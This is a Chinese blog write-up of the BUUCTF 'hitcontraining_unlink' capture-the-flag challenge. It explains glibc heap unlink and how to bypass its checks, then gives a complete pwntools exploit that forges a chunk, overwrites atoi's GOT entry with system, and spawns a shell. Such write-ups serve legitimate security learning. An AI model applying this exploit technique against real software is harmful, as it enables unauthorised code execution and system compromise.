【unlink】BUUCTF hitcontraining_unlink
Thursday, December 29, 2022
本文共1226字
3分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/unlinkbuuctf-hitcontraining_unlink/。商业转载请联系作者获得授权,非商业转载请注明出处!
Friendship always benefits; love sometimes injures.
— Seneca the Younger
原题链接
checksec查看程序架构
ida查看伪代码
典型的堆菜单题
介绍一下unlink
unlink其实就是很普通,很常规的一种从双向链表中取出节点的机制
当我们free掉一个chunk的时候,程序会查看相邻的chunk时候也被free掉了,如果也被free掉了,就把它从双向链表中取出来(注意fastbin是单向链表),执行unlink,与当前free的chunk合并,然后放入它应该去的bin中
我们的chunk有fd和bk两个域,分别指向(链表中)前一个chunk和后一个chunk,也就是说,fd域里保存的是前一个chunk的地址,bk是后一个chunk的地址
unlink会更改chunk0和chunk2的的fd和bk指针,也就是说
chunk0->bk = chunk2
chunk2->fd = chunk0
又因为fd和bk在同样位数的系统,比如64位的系统下,相较于chunk指针的偏移是固定的,因此,上面的代码又等价于
*(chunk0 + 0x18) = chunk2
*(chunk2 + 0x10) = chunk0
而此时,如果我们要unlink的chunk的fd域和bk域,则上面的代码会产生这样的效果:
*(ptr1 + 0x18) = ptr2
*(ptr2 + 0x10) = ptr1
那么,我们就可以更改ptr1下方0x10位置和0x18位置的值了!
但是这个unlink机制还存在着一系列安全检查:
这些检查确保:
- 要进行unlink的chunk的size位和当前被free的chunk的prev_size位相同,同时它的prev_inuse位要置零
- 要进行unlink的chunk的上一个chunk的bk位指向当前chunk,下一个chunk的fd位指向当前chunk
*(ptr1 + 0x18) == chunk1
*(ptr2 + 0x10) == chunk1
如何绕过?
系统期待的是上一个chunk的bk域内存的值是chunk1,下一个chunk的fd域内存的值也是chunk1,当我们可以让
ptr1 = &chunk1 - 0x18
ptr2 = &chunk1 - 0x10
这样就可以绕过检查,这样最后的结果就是:
chunk1 = &chunk1 - 0x10
chunk1 = &chunk1 - 0x18
我们让chunk1变成了存放chunk1的内存上方0x18这个地址
然后我们就可以更改存放chunk1的内存的值,就可以实现任意地址写!
本题思路
申请三块0x80的chunk,在第一块chunk内伪造一个0x70的已free的chunk,然后更改下一个chunk的prev_size位和size位从而实现unlink
然后我们可以更改存放chunk1的内存的值,将其改为atoi的got值,我们就可以泄露出libc的基址
然后我们又可以更改atoi的got值,改为system,再传入"/bin/sh\x00"
即可
from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher
pss: bool = False
fn: str = "./bamboobox"
libc_name:str = "/home/giantbranch/share/share_files/security/buuctf_libc/libc-2.23_64.so"
port: str = "27469"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* 0x400E42
c
""")
else:
p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def show(index: int) -> bytes:
p.clean()
p.sendline(b"1")
p.recvuntil(f"{index} : ")
return p.recv(6)
def add(size: int, name: str):
p.clean()
p.sendline(b"2")
p.clean()
p.sendline(str(size))
p.clean()
p.sendline(name)
def change(index: int, name: str):
p.clean()
p.sendline(b"3")
p.clean()
p.sendline(str(index))
p.clean()
p.sendline(str(len(name)+1))
p.clean()
p.sendline(name)
def remove(index: int):
p.clean()
p.sendline(b"4")
p.clean()
p.sendline(str(index))
ptr = 0x6020c8
add(0x80, b"0")
add(0x80, b"1")
add(0x80, b"/bin/sh\x00\x00")
payload = (pg(0) + pg(0x80) + pg(ptr - 0x18) + pg(ptr - 0x10)).ljust(0x80, b"\x00") + pg(0x80) + pg(0x90)
change(0, payload)
remove(1)
payload = b"\x00"*0x10 + pg(0x80) + pg(m_elf.got['atoi'])
change(0, payload)
libcbase = u64(show(0).ljust(8, b"\x00")) - libc.sym['atoi']
success(f"libcbase => {hex(libcbase)}")
system_addr = libcbase + libc.sym['system']
change(0, pg(system_addr))
p.sendlineafter(b"Your choice:", b"/bin/sh\x00")
p.clean()
p.interactive()
扫码阅读此文章
点击按钮复制分享信息
点击订阅